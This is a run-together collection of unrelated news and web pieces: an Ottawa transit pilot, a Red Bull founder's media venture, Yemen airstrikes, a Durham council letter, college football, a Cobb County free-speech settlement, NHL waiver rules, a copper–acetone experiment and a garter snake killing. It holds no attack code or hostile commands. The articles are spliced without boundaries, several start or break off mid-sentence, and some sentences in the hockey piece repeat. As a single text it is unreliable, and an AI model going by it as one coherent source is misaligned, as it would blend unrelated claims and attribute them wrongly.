The changes include:
Overnight service seven days a week on Route 106 (Elmvale - Hurdman), connecting downtown with CHEO and the Ottawa Hospital, General Campus.
Four additional round-trips Saturdays and Sundays on Route 116 (Greenboro & Hurdman - Merivale), serving the Hunt Club/Riverside commercial area and the Auriga/Antares employment area.
Limited service on Route 87 (South Keys - Baseline) connecting Mooney's Bay with Billings Bridge Station and Hurdman Station.
Limited Saturday and Sunday service on Route 171 (Fallowfield - Barrhaven Centre) in the central part of Barrhaven.
A new Route 153 increasing service between Lincoln Fields Station and Carlingwood via McEwen, Ambleside, and Woodroffe.
OC Transpo also said as part of the pilot project one new trip will be added on Routes 5 (Billings Bridge - St. Laurent) and 93 (Lincoln Fields - Kanata North/LeBreton) on weekends and higher capacity buses will be assigned to Route 87 on weekends. Other schedule changes will be made to 16 other routes to improve reliability.
Manconi said Wednesday the pilot should restore some service affected by last year's cutbacks.
"It's a mix … it's portions of routes and some innovative things that we want to try," said Manconi.
Ottawa's transit service made $20 million in cuts in 2011 — cancelling several routes and reducing or merging many others — angering many commuters who relied on the service.
The pilot is part of $500,000 set aside to help restore some of the service lost last year, with the hope to improve service by April 2013.
The transit budget for 2013 will go before council next month. If council passes it, fares are expected to go up 2.5 per cent on average by July 2013.Red Bull founder and Austria's richest man Dietrich Mateschitz is reportedly starting new right-wing, German-language media outlet many are comparing to Breitbart News.
Mateschitz made headlines earlier this month for criticizing mass immigration, which he said was causing the "destabilisation of Europe" and threatening the "uniqueness of [the continent's] diversity and individuality with its different cultures and languages."
From Resident Advisor:
A spokesperson from Red Bull told Artnet that the outlet will be funded by a private foundation called Quo Vadis Veritas, meaning it will operate separately from both Red Bull and his TV station, Servus TV. But Der Standard reports that the only benefactors listed in its commercial register are Mateschitz and Servus Medien GmbH, which is run by the Red Bull Media House, the company's media and publishing arm.
It's not clear whether the platform will be aligned to Mateschitz's views, though they've brought on a mix of journalists from publications like VICE and Presse, Business Insider reports. Its founding team includes Niko Alm, who notably protested a law allowing religious headgear in government-issued ID cards by registering as a "Pastafarian" and wearing a colander on his head. A few publications (Huffington Post, Business Insider) have drawn comparisons between Mateschitz's new platform and Breitbart News, the ultra-conservative website formerly run by Stephen Bannon, the Trump administration's Chief Strategist.
RA reached out to Red Bull Music Academy for a comment on how this might affect their end of the organization. "Mr. Mateschitz gave a personal interview--published April 8th," a spokesperson responded. "Our company values freedom of mind and encourages open conversation." Mateschitz's net worth is $14.8 billion. Could he become the anti-George Soros the right desperately needs?
Follow InformationLiberation on Twitter and Facebook.SANA, Yemen — A Saudi-led military coalition carried out at least seven airstrikes on the international airport here on Tuesday, possibly crippling the airport in order to prevent an Iranian airplane from landing, according to Saudi and Yemeni officials.
The airstrikes hit the main runway, endangering one of Yemen’s last usable airports and a major transit point for global aid shipments. An airport official said the damage had made it impossible to use the runway.
The bombings demonstrated the extent to which Yemen has become trapped in the escalating regional proxy war between Saudi Arabia and Iran. Saudi Arabia began its bombing campaign against the Houthi rebel movement in Yemen last month in large part to counter what Saudi officials saw as the influence of Iran, which has supported the Houthis.
Saudi accusations that the Houthis were acting as an instrument of Iranian power were viewed by many Yemenis and Western diplomats as exaggerated or misplaced. Even so, the war in Yemen has ratcheted up tensions, raising fears of a broader conflict."Black lives don't matter and neither do your votes" graffiti, painted over to say "do matter." Via Screenshot, WNCN.
DURHAM, N.C. — The Durham City Council has authored an open letter to its citizens in the wake of Donald Trump becoming president-elect and the reports of instances of harassment, intimidation and violence on the rise across the country. The letter ensures that they will keep fighting for the safety of every individual and to defend progressive values.
“The city of Durham will always stand strong to protect the safety of the people of this city and to defend our progressive values – whatever the character of the president of the United States, and whatever the policies he or she may choose to pursue,” the letter reads. “We will never back down from our shared belief that the city of Durham is and must remain a place where all people are valued, where all people are respected, and where all people are protected.”
Durham has not been immune from hateful post-election actions, as noted in the letter, with “Black lives don’t matter and neither do your votes” found spray painted across two walls after the election.
The letter also mentions an incident that occurred to a member of city council, likely referring to City Councilwoman Cora Cole-McFadden, who removed her Clinton-Kaine sticker after a motorist pulled up on her vehicle twice while she was on the way to a meeting.
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They report that people have reached out since the election expressing concern for what it will mean for their daily lives.
“We denounce these hate crimes completely and without reservation,” the letter continues. “Such actions have no place in our city. We must all come together to repudiate the behavior of those who would seek to vent their bigotry onto the people of Durham.”
They highlighted their efforts to uphold the rights and dignity of all those living in the city.
“Over the last year, we have repeatedly reaffirmed the city of Durham’s commitment to opposing discrimination and upholding the dignity of all people. In February of this year, we unanimously endorsed a resolution from our Human Relations Commission urging federal immigration officials to release Durham youth being detained in immigration facilities and to suspend raids in Durham targeting immigrant youth. In April of this year, we passed a unanimous resolution opposing the discriminatory and anti-LGBTQ House Bill 2 and calling for its repeal…
“And just two weeks ago, we passed a unanimous resolution ‘condemning violence and hate speech and expressing solidarity with Durham’s Muslim community and all those targeted for their ethnicity, race or religion.'”
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They sought to confirm that they will not abandon these efforts no matter who is in the White House.
“These are the values of the city of Durham. They are as true today as they were before the election of Donald Trump as President of the United States, and they will be just as true on the day he vacates that high office. Regardless of the policy agenda that our new president-elect decides to pursue, the city of Durham will remain as committed as ever to combating hatred and bigotry in all forms, and to protecting and advancing the civil and human rights of all of the people of this city.”
Similarly, Durham Public Schools Superintendent Bert L’Homme responded to anecdotal reports of attendance dropping the day after the election for students who speak English as a second language. DPS spokesman Chip Sudderth said L’Homme posted a message on the system’s website and social media, as well as sending it out families via robocall.
“Our school counselors are ready and able to support any student who has concerns following our recent elections,” the statement said. “Also, our district policies are firmly against harassment and intimidation of any kind; any student experiencing them for any reason should let a teacher or principal know immediately.”
Read the full open letter by the Durham City Council here.
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Posted by Jeff Taylor / Social Media Editor Jeff Taylor is a journalist and artist. In addition to QNotes, his work has appeared in publications such The Charlotte Observer, Creative Loafing Charlotte, Inside Lacrosse, and McSweeney’s Internet Tendency. He graduated from the State University of New York at Brockport and has lived in Charlotte since 2006.@jefftaylorhuman.San Diego State head coach Rocky Long roots for his team and the way they adopt this no-frills, all-tough philosophy. (Photo11: Jake Roth, USA TODAY Sports)
SAN DIEGO — The trophy recognizing last season’s Mountain West Conference championship sits on a picnic table tucked inside the main doorway to San Diego State’s football offices, across the hall from the Aztecs’ modest meeting room and one floor above a weight room the football team shares with each of the university’s athletic programs.
Elsewhere, perhaps, such signs of success are wall-mounted, hidden behind glass, bathed in bright lights and showcased for the world to see, as evidence of games and championships won. It is that for San Diego State — draped in school colors, positioned below a sign preaching one of the Aztecs’ main tenets (“Hard Work Hones Our Edge,” it reads) and topped with mementos — only different: it’s just a picnic table.
“We’re not one of those schools that amaze them with what I call ‘bling,’ ” head coach Rocky Long told USA TODAY Sports.
The Aztecs’ locker room, in Long’s words, “looks like a high school locker room.” The weight room is “very average.” There’s no training table or cafeteria reserved for student-athletes. There are no waterfalls, no bells, no whistles, no “music and all that stuff.”
This table houses some of San Diego State's most recent football hardware. (Photo11: Paul Myerberg, USA TODAY Sports.)
“We don’t have the problem of getting the kid that comes there because it’s the prettiest and it’s the best and it’s the most wonderful,” Long said. “We don’t have that problem, because the kids know what we’ve got. And if they don’t, they see it when they get here.”
At first glance, the Aztecs’ surroundings quietly highlight, almost at a whisper, the program’s recent success. They are on a streak of six consecutive bowl appearances and enter this season on a 10-game win streak — the second-longest active winning streak in the Football Bowl Subdivision, trailing only Alabama, the defending national champions.
There’s more to this picture, and there’s more to this program. Here in this hub of laid-back and easygoing Southern California, the Aztecs’ nuts-and-bolts physical appearance is mirrored by an identity and mentality: San Diego State has, if nothing else, willingly elected to turn its perceived negatives — no great history of success, a roster of players largely ignored by power-conference recruiters, throwback offensive and defensive philosophies, and an utter lack of frills — into the engine behind its success.
“We’re about the brick and mortar, the foundation here,” said associate head coach Bobby Hauck. “It’s maybe even a dying art in our game to approach it that way, but the formula hasn’t changed. You go back 100 years in this game. The formula works. And until they make blocking and tackling illegal, it’s still going to work. It’s still going to be a formula that works in this game.
“You’ve got to come and go to work here to play on this team and to work here. You have to have a bit of a blue-collar mentality. That’s a hard blend here, and it’s difficult to get. But when you do it’s something special.”
***
Something special is brewing at San Diego State — even if at a whisper, well off the national radar heading into the heart of college football’s offseason.
Fourteen starters return, including six first-team All-Mountain West selections. Among teams in the FBS, only Oklahoma, with nine, had more players earn first-team all-league honors. Counted among those returning starters are the reigning conference offensive, defensive and special teams players of the year; San Diego State was the only team in the country and just the second team in Mountain West history to sweep the three major individual awards.
Last year’s team became just the sixth in the past 20 years to win each of its regular-season league games by a double-digit margin, joining Miami (Fla.) in 2000, Boise State in 2002, Oklahoma in 2003, Utah in 2004 and Florida State in 2013. When coupled with its returning talent, San Diego State’s torrid close — coming as it did on the heels of three losses in its first four games — paints the Aztecs as perhaps the strongest contender for the berth in a New Year’s Six bowl afforded to the best team on the Group of Five level.
Rashaad Penny (20) is one of three returning starters for the Aztecs who earned Player of the Year honors in his vocation from the Mountain West last season. (Photo11: John Hefti, USA TODAY Sports)
“Our expectations are always high, so we don’t remind them of anything,” Long said. “We go about our business and do things the way we always do. Not even one time did we even mention last year. We didn’t mention the expectations this year either, other than what our own expectations are.”
Alone, that the Aztecs are in this position is noteworthy: SDSU had long been viewed as one of college football’s greatest underachievers, defined by an inability to take advantage of a deep and talented recruiting base in its own backyard. That perception of the program has changed under Long, who has captured two conference titles since being promoted from defensive coordinator following the 2010 season.
In an era when spread offenses have multiplied across every conference and championship contenders are marked by wealth as much as wins, San Diego State swims successfully against the current with a commitment to a bygone era of the game.
“We're the dinosaur. I feel that’s our niche,” offensive coordinator Jeff Horton said. “That’s who we are. Teams always say when they get ready to play someone good, ‘We’re looking forward to playing real football, old-fashioned football.’ But they haven’t had a guard pulling on ‘em or tackles blocking down or a fullback leading the way.”
Christian Chapman, who took over the quarterback duties late last season, completed 68% of his attempts and averaged more than 11 yards per at home. (Photo11: John Hefti, USA TODAY Sports)
The Aztecs’ offense is borrowed from a previous era: Horton uses a scheme first learned during his stint as an assistant under former Wisconsin coach Barry Alvarez, creating a system that dictates time of possession with its run-first approach while avoiding crucial missteps — the Aztecs threw just three interceptions last fall, the second-fewest in the FBS.
“We just feel like in the course of a game, we’ll just keep wearing on you,” said Horton. “We’re going to out-hit you and out-tough you, and we’re going to slow the game down.”
The defense, an alignment of three linemen and three linebackers in front of five defensive backs, aggressively attacks spread and pro-style opponents alike with a mix of blitzing and stunting; last season’s defense led the Mountain West in overall sacks, tackles for loss and interceptions, and in yards and points allowed per game.
“Our coach doesn’t preach the flashiness,” said senior running back Donnel Pumphrey, a two-time all-conference selection. “He just preaches the hard work and the toughness on and off the field. Because when you play football, you can’t be soft out here. And there are a lot of spread teams that are soft. I mean, they win games, but they’re still soft.”
San Diego State gets cornerback Damontae Kazee (23), the reigning MWC Defensive Player of the Year, back this season. (Photo11: Eric Jamison, AP)
Unflashy? Sure, but don’t equate a lack of flash with a lack of skill. Contained in San Diego State’s unconventional approach is talent and experience, two assets that paint the Aztecs as a team prepared to leap into the center of the College Football Playoff conversation.
“We’re not all flashy,” said senior linebacker Calvin Munson. “We’re not out there with different-colored helmet every single game, different jerseys. We run our program old-fashioned. We’re a tough team. We run the power on offense, we get after it on defense. We don’t have any tricks. We just go out there and play football, and try to be the toughest team and have fun.”
***
The heightened expectations — even if Long hesitates to acknowledge the team’s potential — are rooted not only in the active winning streak but the way last season began: SDSU lost three games in a row to cap non-conference play, leading the team’s senior leaders to focus on the small mistakes that plagued the Aztecs’ sour start.
This year’s upperclassmen are undeniably more talented. Pumphrey is a Heisman candidate, cornerback Damontae Kazee is a reigning All-America selection, left guard Nico Siragusa might be the top offensive lineman in the Mountain West and Munson is the among the league’s most decorated returning defenders. Thirteen seniors are penciled into the starting lineup, based on the coaching staff’s post-spring depth chart, giving the Aztecs a level of experience largely unmatched across the FBS.
For the Aztecs to match their potential, however, these same seniors must match the leadership exhibited by last season’s senior class, Long said, calling that group the core of “the most unselfish football team I’ve been around as a coach.”
“This group is much more talented, but that does not mean we’re going to be a better football team because I don’t know what kind of leadership we’re going to get from them,” Long said.
“Everyone is going to have these expectations because we have these named players coming back. But it has nothing to do with us being good or bad. Now what happens is if this year’s senior class is as good as last year’s senior class, we could be really good.”
How good? “The biggest goal for this season is really to go undefeated,” said Pumphrey. Echoed Munson: “We want to win every game. We want to win a Mountain West championship again.”
How much will the Aztecs have to celebrate this season? It could be a lot. (Photo11: Jake Roth, USA TODAY Sports)
Consider the schedule: SDSU draws California at home — with a goal of avenging last season’s 28-point loss — and Northern Illinois on the road before turning to conference play, which includes trips to Utah State and Nevada but avoids cross-divisional matchups with Air Force and Boise State.
Take into account the returning talent, driven by a gifted senior class, and the combination of a clock-chewing offense and an opportunistic defense; this mixture can fluster opponents.
“Can it be done?” Long asked, before answering: “Of course it can be done, because people are involved, and you can never judge their minds and their hearts. So it can be done.”
A push for an unbeaten regular season would be significant for a program long shoved to the fringes of irrelevance as a result of unrealized potential — a program that won a combined 41 games during the nine seasons prior to Long’s promotion and has since gone 43-23, asserting itself among a crowded mix of major-conference and overlooked contenders with its unorthodox approach.
What makes San Diego State different — what separates this program from other off-the-radar contenders for a Playoff bowl — is what makes the Aztecs a legitimate national threat.
“There’s so many ways to skin a cat in this game,” Hauck said. “Around here, there are certain things: toughness, discipline, work ethic. Those are the things that have made this a perennial contender in our conference. That’s the culture in this program.”
PROJECTING THE 2016 TOP 25Cobb County is paying $100,000 to a woman who police arrested for shouting profanity to protest their actions.
Amy Elizabeth Barnes, a well-known political activist, sued in federal court saying the county violated her First Amendment rights and maliciously prosecuted her when it jailed her on charges of disorderly conduct and the use of abuse words to “incite an immediate breach of the peace.”
She had been shouting “Cobb police suck” and “(Expletive) the police” and raising her middle finger while riding her bicycle past two officers questioning an African-American man outside a convenience store on Easter Sunday 2012.
“Ms. Barnes’ comments to the police may have been offensive, but no one in the United States of America should be chased down and arrested for their free speech,” said lawyer Cynthia Counts, who represented Barnes in her civil and criminal litigation. “The officers argued that it was a bad neighborhood and you shouldn’t disrespect the police because it could create issues,” she added.
Counts noted federal courts had overuled such reasoning after 1918 sedition laws made “disloyal, profane, scurrilous, or abusive language” about the U.S. government, flag or armed forces — or that caused people to view government institutions with contempt — a felony.
On Tuesday, the county commission authorized a $100,000 settlement in the civil lawsuit, said spokesman Robert Quigley. In 2013, the county solicitor also lost the criminal case against Barnes.
Calls to Cobb County lawyers were not immediately returned.
Officers Brian Scurr and Dipa Patel arrested Barnes after she shouted her phrases while they were questioning a man at a store near Marietta on Austell Road, according to Judge Melodie Clayton’s order acquitting Barnes in her criminal trial.
The judge noted Barnes did not confront the officers and had ridden off on her bicycle before the officers quit questioning the man and pursued and arrested her.
“The evidence at trial showed that the Defendant was not engaged in a face-to-face confrontation with the officers which tended to incite an immediate breach of the peace when the words were spoken,” Clayton wrote. “In addition, the word “su*k”, used as an epithet, is now common enough in modern society that it cannot reasonably provoke a threat of violence. The defendant’s other statement, “(expletive) the police,” was a fleeting epithet that was insulting and inappropriate, but it did not create an immediate threat and danger of violence.
“The defendant’s statements, although offensive to this court, clearly constitute political speech,” Clayton wrote. “If there is a bedrock principle underlying the First Amendment, it is that government may not prohibit the expression of an idea simply because society finds the idea itself offensive or disagreeable.”
Civil-rights lawyer Gerry Weber, who also represented Barnes, said what are known as “contempt of cop” arrests are prompting more civil litigation around the country. Currently the City of Atlanta faces such a case, he said.
In the Barnes case, the cash settlement was higher than some other cases because she spent a day and night in jail, including six hours in solitary confinement, Weber said.
“I think this was right in the ballpark in how these cases are resolved” financially, Weber said.
Barnes was most recently in the news in 2013 when she was arrested after her then 4- and 5-year-old children were found playing by themselves in a school playground three blocks from her home on Wanda Circle.
Authorities investigated and arrested the then 30-year-old Barnes and John Galczynski, then 58, after reportedly finding raw sewage, feces, dirt, moldy food and dog food on the floors, exposed electrical wires throughout the house, according to the arrest warrant.
They also found a German shepherd in dire need of medical care. The pet was suffering from a skin infection and had lost much of its hair, the warrant said.
They are currently facing charges of deprivation of a minor, reckless conduct and cruelty to animals in the unresolved case in Cobb Superior Court, according to court records.Eric Unnervik, a master’s student at the École Polytechnique Fédérale de Lausanne (EPFL) in Switzerland, has developed a miniature motorbike that drives itself! Onto the bike he has strapped a Raspberry Pi (3, I think), a Navio2 add-on board and some sensors. These control the balance and direction of the bike and the destination is programmed via a smartphone interface. The bike can travel at 60 km/hr (37 mph) without falling over – which is quite astonishing when you consider the weight of the Pi and add-on board.
“Our goal is that, in a race between an autonomous motorcycle and one ridden by a human, our machine wins!” said Unnervik
You can see it in action in the (French language) video below.
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New launcher option - 'Work-In-Progress' version
Dear Players!
For the more tech-savy among you, there is now a new option in the launcher enabling you to use a 'Work-In-Progress' or 'WIP' version of War Thunder. In effect, this means that you will be able to try out many of the latest client-side changes planned for the incoming regular update in War Thunder, while still playing normally on the live server. By doing so, you will provide valuable data for our developers, support the ongoing development of War Thunder and help ensure that updates are as smoothly integrated as possible.
Gameplay-related changes like Battle Ratings, Flight Models or the Economy will not be part of a WIP version. Features to most likely see in the Work-In-Progress versions are optimizations and various improvements like stability, user interface, animations and visual modelling.
For more detailed information also on how to get involved in WIP client bug reporting, please read the information post in our WIP Client Bug Reporting section. It is important that you understand the implications of using this feature.
Please note:
Usage of the Work-In-Progress client is currently limited to Windows PC clients only, and may cause instability and/or require the download of large amounts of data. Please use it only if you understand the experimental nature of this build and want to participate in enhanced testing, bug reporting and providing feedback about WIP versions. You can return to the normal live patch any time by unchecking the box in your launcher. Thanks in advance to those that make use of this feature!
The War Thunder TeamFirst of all, what waivers do and what they don't do. Waivers are required before a team is allowed to loan a player to a non-NHL team. Usually this means the AHL. Sometimes it means Europe. So the main reason to put a player on waivers is, you want to send him somewhere else. The waiver rule allows other teams to have a crack at him first.
One thing waivers don't do: waivers don't remove the player from your active roster. That only happens if (a) the player is claimed by another team, or (b) having cleared waivers, the team loans the player to a team in another league.
But a team can waive a player and choose not to loan him to anyone. Why do this? Well, one reason is, the waiver period, from the time the team officially puts the player on waivers, to the time the player clears waivers, is at minimum 24 hours. I believe it's 48 hours if the player is waived on a Saturday. But it's 24 hours at least.
it's 48 hours if the player is waived on a Saturday. But it's 24 hours at least. And while we're in the 24 hour waiver period, that player cannot be traded, and he can't be loaned. So he stays on the active roster. [UPDATE: Also, the player's cap hit stays on the books during the waiver-period and in fact only comes off the books if/when the player is loaned out. See longer update below.]
The Kings currently have the league maximum of 23 players on their active roster. This means, if they are planning on making a trade that increases their active roster -- for example, by trading a pick and bringing in a roster player, or by trading a roster player and bringing back two roster players -- they would not be able to make such a trade until there was room on the roster.
So room needs to be made. You do this by loaning players to the AHL. But to do that, you have to clear waivers first.
So the move is made now. Otherwise, Lombardi would have to wait 24 (or 48) hours to make any trade. And we all know these things come fast and furious as we get down to the wire.
So Sturm is on waivers so that the Kings have room to make a move at any time, starting tomorrow at 9am Pacific Time.
But why Sturm?
The Kings could have sent Alec Martinez, Kyle Clifford or Jonathan Bernier down without having to go through waivers, as they are exempt. But as the team is required to have two goalies on the roster, sending down Bernier wouldn't help. And Clifford would have to be returned to junior, from which he would not be able to return until his junior season is over.
Now, Martinez. He's been a healthy scratch the last two games. Why not send him down to make room? I assume it's because he's going to be playing on Saturday. But it might also be:
Lombardi might want to have Martinez in his hip pocket, to be able to send him down at any time, just in case he needs to create two spots, not just the one he's started to make room for by waiving Sturm.
Lombardi could also have waived Kevin Westgarth, Davis Drewiske or Peter Harrold. But he didn't. And I think the reason is, he thinks they would be picked up (because they're cheap and useful).
He doesn't think Sturm is going to be picked up. Because only a playoff-bound team would do that, and playoff teams are, for the most part, up against the cap ceiling and want whatever cap space they have to make trades. So they're not going to blow that by absorbing Sturm's full cap hit.
So it's a gamble, but a reasonable one.
And I think the conclusion to draw from it is NOT that Sturm is on the way out. He will likely stay right where he is on the first line.
The conclusion I reach is that Lombardi wants to be able to add two roster players at any moment. He did this last year, remember? He traded Teddy Purcell and brought in Fredrik Modin and Jeff Halpern.
roster players at any moment. He did this last year, remember? He traded Teddy Purcell and brought in Fredrik Modin and Jeff Halpern. Doesn't mean he's going to make any deals. He might not.
But he's ready to.
[UPDATE: It's also true that the CBA allows a team to acquire a player via trade and only then place another player on waivers in order to (after the waiver period) send him down in order to make room. During the 24-hour period, the waived player is temporarily given "non-roster" status. The problem is, during the 24-hour period, the cap hits of both players remain on the books. For example: Lombardi acquires player X by trade, and only then waives Sturm to make room; if the cap hit of player x plus the cap hit of Sturm puts the team over the upper limit, then the trade is an Article 50 circumvention and is rejected by the league. Therefore, the only way to make it possible for Lombardi to bring in players over a certain cap hit, is to preemptively waive Sturm so that he can be loaned to Manchester immediately if the need arises.
And to underline, because it seems to be causing a lot of confusion in the comments, a player who is waived and clears waivers doesn't have to be loaned out, and in fact remains on the active roster. This is why Sturm can play tomorrow night.
Re-Entry Waivers
People have asked how Sturm can be waived and then play tomorrow night without going through re-entry waivers. The answer is, a player only has to clear re-entry waivers if he has been loaned out and then recalled. If Sturm clears waivers tomorrow morning at 9am, he does not need to be recalled, because he has not been sent down.
And the team can send a player down any time after he clears waivers, until he's played ten games (or thirty days have passed) since he cleared waivers. If it's after ten games or thirty days, he would have to clear waivers again in order to be sent down.]Quick Buy Guide For PC Monitor Panel Types
A quick overview of monitor panel type pros and cons.
I hope this quick guide can be useful for anyone looking for a new monitor but has specific needs.
PANEL TYPES
TN- (Twisted Nematic)
Pros
Price. Excellent response times. The lowest it gets. Top choice for high-speed games. Plenty of decent options. The most common panel on the market High refresh rates
Cons
Color reproduction Contrast ratio is average and not very good for dark scenes. Viewing angles are almost non-existent
IPS- (In Plane Switching)
(S-IPS)– Also known as Super-IPS. Better contrast ratios than the original IPS panel. More expensive.
(H-IPS)– Being the newest and most expensive variation. Again better contrast and a small variation of S-IPS.
Pros
Vivid and usually excellent color reproduction. Viewing angles up to 178 degrees. Top models can have high refresh rates. 8 to 10-bit panels available.
ConsThe Detroit Lions have a punter crisis, if such a thing really exists. Their near Pro Bowl punter, Sam Martin, remains on the Non-Football Injury/Reserve list, meaning he cannot return to the roster until Week 7 at the earliest.
Martin’s replacement, Kasey Redfern, had a phenomenal preseason and was lined up to be a very serviceable replacement for Martin during the first two months of the season. But all it took was a bobbled snap to completely derail those plans. Redfern mishandled a punt snap, panicked, scrambled, then took a shot that no punter should ever have to take (unless in the Pro Bowl, of course).
Redfern was carted off with a knee injury and head coach Jim Caldwell called the injury “significant.” That almost certainly means Redfern is headed for injured reserve and the Lions will be without a punter, yet again.
But believe it or not, there are actually some emergency options out there available to help. Here are four perfectly legitimate options for the Lions at punter for the next five weeks.
Johnston is an undrafted rookie who spent the entire preseason with the Philadelphia Eagles. Johnston would end up losing a camp battle with 13-year veteran Donnie Jones, who has been the Eagles’ punter for the past four years. But Johnston certainly put up a fight.
In four preseason games, Johnston averaged 44.9 yards per punt (43.0 net) on 15 total punts. He dropped three inside his opponent’s 20-yard line while only committing one touchback.
In college, Johnston ranked second overall in 2016 with a net punt average of 43.9 yards. That year, he earned second-team All American and All Big Ten honors. In his four year career as a Buckeye, Johnston averaged a very respectable 44.9 yards per punt.
He also ran a 4.92 40-yard dash, which is completely meaningless, but pretty cool.
If not a Buckeye, why not a Wolverine? Like Johnston, Allen is an undrafted rookie. Allen spent the preseason with the Ravens, averaging 45.6 yards per punt (40.5 net) in nine punt attempts. He pinned five inside the 20, while only surrendering one touchback.
Back in Ann Arbor, Allen earned second-team All-Big Ten honors in 2016. He can handle kickoffs and even does field goal kicking, as well. In his senior year, Allen averaged 43.3 yards per pun, made 19 of 23 field goal, and was a perfect 53-for-53 with extra points.
He may not have an NFL team, but he’s a local Michigander and was practicing as recently as this tweet from Sunday night:
If you’re looking for a veteran punter who may not have the newbie jitters like Redfern, Locke may be your best option. The Vikings’ fifth-round pick in 2013 played in Minnesota in the past four season. Locke moved on from the Vikings after the 2016 season, but he could not beat out undrafted rookie Rigoberto Sanchez for the job with the Colts.
Locke’s professional stats are just mediocre. Through four years, he averaged 43.2 yards per punt and a net of just |
they were trying to get in Phillips because of the strong ties he had with Dalvin Cook," Smith said. "When Dalvin was committed to Florida a couple years ago, Da'Vante committed to Florida. When Dalvin decommitted, Da'Vante decommitted. Then, even though Da'Vante was intrigued by Miami, I think the temptation and friendship he had with Cook is why he went to FSU. Da'Vante knew he probably had a better opportunity to go in and contribute right away at Miami, but I think the relationship with Cook, plus the opportunity to play for FSU played a big part in it too.
"When you're winning, kids are very impressionable you know. That plays a big part of it too. When you're winning everybody wants to be a part of a winning program. And right now FSU has been winning and getting the fruit of their labor for winning. Miami is just going after kids they think can help their program out."
Right now, the Canes have commitments from just two of the 16 players from Dade and Broward who played in the three major All-American games: St. Thomas Aquinas running back Jordan Scarlett (U.S. Army All-American) and Miami Killian safety Jaquan Johnson (U.S. Army All-American, already enrolled).
"That number is real low. It should be higher," Smith said. "But it is what it is. I work for Miami Central, not the University of Miami. In order for Miami to get back to where we were we've got to keep these local kids home. They've tried. It's not for a lack of effort. From the staff on down, the head coach, coordinators, assistant coaches, they're doing a hell of a job trying. But to get over the hump you've got to win those big games. This year we weren't able to pull off the big ones like Florida State, Nebraska. Kids these days are more impressionable. It seemed like to me like when we were coming up, when Melvin Bratton, Alonzo Highsmith decided to go to UM, Miami wasn't dominant either, but those guys wanted to turn the program around and put it on the map. Nowadays it seems like the kids look forward to going to programs that are winning, already established, not trying to build something. And that's kind of surprising to me."
Running back Anthony Jones, the MVP of this year's state championship game, was offered late by the Hurricanes.
"I think he stuck with FIU because he has a chance to do a lot more things that he probably wouldn't be able to do at Miami," Smith said. "FIU is giving him an opportunity, putting a package in for him where he could be a running back, receiver, wildcat, do things on special teams. Plus, an opportunity to help change the program around too and be the man too. That's the only reason he stayed with them because he liked the opportunity at Miami. They were intrigued by his playmaking ability and said he could have been a special kid that helped them out at slot receiver or running back. Brennan Carroll, James Coley, Ice [Harris], they all made a strong push. It was late, but they made a strong push to try and get him. It's just he had a better chance to be in more packages at FIU than any other program."
Did it surprise Smith FIU beat out UM for Jones?
"Well, Cincinnati was saying the same thing," he said. "They would have rather lost the kid to Miami rather than lose him to FIU. I've had kids pick Division I-AA schools over Division I schools. I had a coach one time fussing with me because a kid picked Howard over Eastern Michigan. I said, coach that's the kid's decision. Sometimes guys think because of the schools they're from that will win the kid over, but it's the relationship the kid develops and the opportunity they have to play somewhere. A lot of people asked him are you sure this is what you want to do? It was tough for Anthony. He was going back and forth on which way he was going to go. But at the end he had to sit down and pray on it. He felt it was the best opportunity for him to go there to FIU."
Central had plenty of other stars on the team including three others already enrolled in college: U.S. Army All-American safety Calvin Brewton (Florida State), defensive end Fermin Silva (FIU) and linebacker Marquis Couch (Marshall). Why didn't the Hurricanes show more interest in any of those guys?
"Miami was recruiting Fermin [Silva], but they never offered him," Smith said. "They wanted to see him stand up a little bit more. He was a kid that was very intrigued by Miami. If they would have offered him he would have gone.
"With Bretwon, they felt like they had some other guys at safety that they liked a little bit more. Calvin was always intrigued by FSU. His friend Bobo Wilson, who he played with before is at FSU. He had some other schools that came after him that I thought would be a better fit. But like I told him, in the end you have to be happy where you go. It's your decision."In this video, I will show you how to make copper glow red hot with the catalytic oxidation of acetone. For this science experiment, we'll just need some acetone, copper wire, and a flame source to initially heat the copper coil we'll make.
Materials Needed:
.Pure acetone
.Copper wire
.Fire
What's Going On
Copper catalyzes the oxidation of Acetone to acetaldehyde, carbon dioxide, and water.
CH3COCH3 (g) + 3/2O2(g) --> CH3CHO(g) + CO2(g) + H2O(g)
First, copper is oxidized to copper oxide with heat, then it transfers this oxygen to acetone returning to its metallic form.
In the next reaction with acetone, the copper surface becomes bright because of the transfer of the oxygen and begins to glow red hot because of the energy that's released from the reaction.
Gases have been shown by infrared spectroscopy to mostly consist of carbon dioxide and water. Other sources suggest that the reaction also produces toxic ketene and methane gas in small amounts and should be performed in a fume hood or well-ventilated area.SALT LAKE CITY — If you are a member of The Church of Jesus Christ of Latter-day Saints, it's likely that you've seen a variation of this film somewhere before.
"Saturday's Warrior" may have premiered on stage more than 40 years ago, but even a '90s girl like me grew up adoring the film featuring songs many can still recite lyrics to, line upon line.
Before I learned to master the art of iTunes and Spotify playlist making, I put a "Saturday's Warrior" tune on a well-loved mix CD that also included The Beach Boys and "Fiddler on the Roof," if my memory serves me right.
I still remember the feelings of jealousy I possessed toward the girls in my class who got to perform in the stage musical.
On April 1, the Flinders family will once again grace our lives and hearts when the reboot of the 1980s film hits theaters.
From the looks of the most recent teaser trailer posted to YouTube March 1, the new film still captures all the old feels. "Saturday's Warrior" creator Lex de Azevedo said he hopes the new film will appeal to a wider audience, but it's still "Saturday's Warrior."
In the trailer, the original song, "Circle of our Love" plays as main character Julie Flinders navigates her love life. The real question is: Will she wait for him?
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"It looked like somebody had come by and purposefully killed them. Some had their heads cut off … and some were just beaten to death with rocks or stepped on — many of the bodies were mangled or smashed," said Neil Balchan.
"It was a bit of a mess. There were dead snakes everywhere. It was terrible."
Some snakes had their heads cut off while others were beaten to death with rocks or stepped on, says Balchan. (Neil Balchan/Facebook)
Balchan, a student at the University of Manitoba who is doing honours research into how snakes move, came across the scene around noon on Thursday.
It was at his field site, a wintering den some five kilometres north of Inwood in Manitoba's Interlake region — not too far from the famed Narcisse snake pits, where tens of thousands of the snakes winter.
While Narcisse is a popular tourist attraction, the den where Balchan was doing his research is more off the beaten path, he said.
"It's a good walk into the bush, nowhere near human habitation or buildings or anything like that," he said. "So whoever did this had to go a fair bit out of their way to do the damage.
"It looked very much as though these people had just killed whatever they could come across. And they put in a lot of work to find them."
Balchan says somebody put in a concerted effort to find and kill as many garter snakes as possible. (Neil Balchan/Facebook)
Some of the snakes were hanging from trees, others were partially buried, while still more "were very badly damaged and attempting to hide or escape," he said.
Balchan believes the slaughter happened an hour or two before he arrived, because "many of the animals were still struggling."
